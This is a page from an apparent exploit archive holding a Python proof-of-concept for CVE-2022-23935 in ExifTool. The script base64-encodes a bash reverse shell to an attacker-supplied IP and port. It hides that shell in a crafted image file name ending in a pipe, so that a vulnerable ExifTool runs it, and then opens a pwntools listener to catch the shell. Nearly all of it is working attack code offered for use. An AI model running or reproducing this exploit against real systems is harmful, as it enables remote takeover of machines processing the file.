4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-23935.py PY
#!/usr/bin/python3

from pwn import *
import base64
import sys

class ExploitExiftools:
    def __init__(self,ip,port):
        self.ip = ip
        self.port = port
        self.p = log.progress("")

    def printBanner(self):
        print("""
   _____ __      __ ______      ___    ___  ___   ___        ___   ____    ___  ____   _____ 
  / ____|\ \    / /|  ____|    |__ \  / _ \|__ \ |__ \      |__ \ |___ \  / _ \|___ \ | ____|
 | |      \ \  / / | |__  ______  ) || | | |  ) |   ) |______  ) |  __) || (_) | __) || |__  
 | |       \ \/ /  |  __||______|/ / | | | | / /   / /|______|/ /  |__ <  \__, ||__ < |___ \ 
 | |____    \  /   | |____      / /_ | |_| |/ /_  / /_       / /_  ___) |   / / ___) | ___) |
  \_____|    \/    |______|    |____| \___/|____||____|     |____||____/   /_/ |____/ |____/         

                                            by 0xFTW                                                                                
        """)

    def generateExploit(self):
        self.p.status("Generating payload ....")
        cmd = bytes(f'/bin/bash -i >& /dev/tcp/{self.ip}/{self.port} 0>&1','UTF-8')
        encodedName = base64.b64encode(cmd) 
        image = b"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/yQALCAABAAEBAREA/8wABgAQEAX/2gAIAQEAAD8A0s8g/9k="
        imageName = f"echo {encodedName.decode()} | base64 -d | bash |"
        with open(imageName, "wb") as img:
            img.write(base64.decodebytes(image))
        self.p.status(f"Payload generated and saved as '{imageName}'")

    def starting_listner(self):
        l = listen(self.port)
        conn = l.wait_for_connection()
        self.p.success("Connected!!!!")
        conn.interactive()

if __name__ == "__main__":

    if len(sys.argv) != 3:
        error(f"Usage: {sys.argv[0]} IP PORT")

    if len(sys.argv) == 3:
        exploit = ExploitExiftools(sys.argv[1],sys.argv[2])

    exploit.printBanner()
    exploit.generateExploit()
    exploit.starting_listner()